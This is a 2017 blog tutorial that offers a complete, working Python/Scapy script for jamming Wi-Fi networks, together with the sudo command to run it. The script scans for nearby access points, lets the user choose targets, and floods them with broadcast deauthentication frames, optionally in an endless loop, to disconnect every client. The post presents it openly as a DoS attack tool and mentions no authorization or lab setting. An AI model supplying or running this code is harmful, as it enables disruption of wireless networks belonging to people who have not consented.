how to create automatic wifi jamming script using python and scapy

Posted by Suraj Singh on July 06, 2017 · 13 mins read
Hello readers,



In Today's Post, I Am Going to Show You How To Create Automatic Wifi Dos Attacking Script Using Python And Scapy.


First, Make Sure Your Wireless Card Supports Monitor Mode and If Yes, Then Run Your Wireless Interface In Monitor Mode. For More Detail Click here


readers, If You Also Wants To Understand, how Acctually This Script Is Working Than Don't Forget To Check Below Links.



How To Find SSID Using Python And Scapy
How To Create And Send De-Authentication Packets Using Python And Scapy
How To Create Simple Wifi De-Authentication Sending Script Using Python And Scapy

Now, Let's Again Focus To Our Main Python Script.


WifiJammer Script Requirement.


1. Python 2.7+
2. Python Scapy Module
3. Wireless Interface Running On Monitor Mode.



Now, Let Me Quickly Show You WifiJammer Script Codes.


wifijammer.py


  1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
#!/usr/bin/python

"""
===============================================================
++++++++++++++++++++++++ READ ME ++++++++++++++++++++++++++++++
===============================================================



Author :

Suraj Singh


surajsinghbisht054@gmail.com
www.bitforestinfo.com









"""

# Required Data Feild
Feild = {
# Key Value Required
'iface' : (None, True),
'ap_timeout' : (30, False),
'deauthentication_packets' : (2, False)
}



# Import Module
import time
import sys
from scapy.all import *


# Function For Finding Available Access Points
def GetAPStation(*args, **kwargs):
ap=[]
packets=[]
def PacketFilter(pkt):
if pkt.haslayer(Dot11Elt) and pkt.type == 0 and pkt.subtype == 8:
if pkt.addr2 not in ap:
ap.append(pkt.addr2)
packets.append(pkt)


sniff(prn=PacketFilter, *args, **kwargs)
return (ap, packets)


# Deauth Packet Creator
def Block(client=None, Station=None):
c = client or "FF:FF:FF:FF:FF:FF"
if not Station:
return None
pkt = RadioTap()/Dot11(addr1=c, addr2=Station, addr3=Station)/Dot11Deauth()
#print pkt.__repr__()
return pkt



# Sending Function
def PacketSender(interface, pkt, count=1, gap=0.5, deauth=1):
#conf.iface = interface
for i in range(deauth):
sendp(pkt,iface=interface, count=count)
time.sleep(gap)
return





# Main Function
def main(iface=None, ap_timeout=30, deauthentication_packets=2):
interface = iface
print "[+] Please Wait For 30 Seconds To Identify Available Access Points"

# Finding Available AP
ap=GetAPStation(iface=interface, timeout=ap_timeout)

# Print Available AP
for i in ap[1]:
print " [ Packet Captured] "
print " [+] Address 1 : ", i.addr1
print " [+] BSSID : ", i.addr2
print " [+] SSID : ", i.info

print " \n [ Identified Stations List ] \n\n"+" {} {}".format("S.no", "Access Points ")

# Taking User Input
for i,j in enumerate(ap[0]):
print " {} {}".format(i,j)
print "\n\n"
a = raw_input("[*] Leave Blank For All Or Enter Stations Numbers Splited With ',' : ")
if a:
try:
if "," in a:
a = a.split(",")
a = [ap[0][int(i)] for i in a]
else:
a= [ap[0][int(a)]]
print "[+] Your Selected Station : ", a
except:
print "[+] Default - All Station Selected : ",
a=ap[0]
print a
else:
print "[+] Blank Means All Station Selected : ",
a=ap[0]
print a

# Deauthentication packets
deauthencation = raw_input('\n [+] Leave Blank For loop Or Number Of Deauthentication Packets : ')

# Packet Sending Engine
if deauthencation:
for i in range(int(deauthencation)):
for s in a:
print "[-] {} - Sending Deauth Packets .... ".format(s)
PacketSender(interface,Block(Station=s), deauth=deauthentication_packets)
print "Done!"
else:
while True:
for s in a:
print "[-] {} - Sending Deauth Packets .... ".format(s)
PacketSender(interface,Block(Station=s), deauth=deauthentication_packets)

return


# Main Trigger
if __name__=="__main__":
if len(sys.argv)==2:
interface = sys.argv[1]
print "[*] Starting Packet Sniffing Function On Interface : {}".format(interface)
else:
print "[*] Please Provide Interface Name As Argument."
sys.exit(0)
main(iface=interface)


To Run This Script, Just Open Your Terminal And Type:


sudo python wifijammer.py [interface_name]

And Then Follow All Steps. For Selecting Target And Number Of De-authentication Packets.


To Download Raw Script Click Here

Done!


                   


For Any Suggestion Or Help.
Feel Free To Use Comment Box.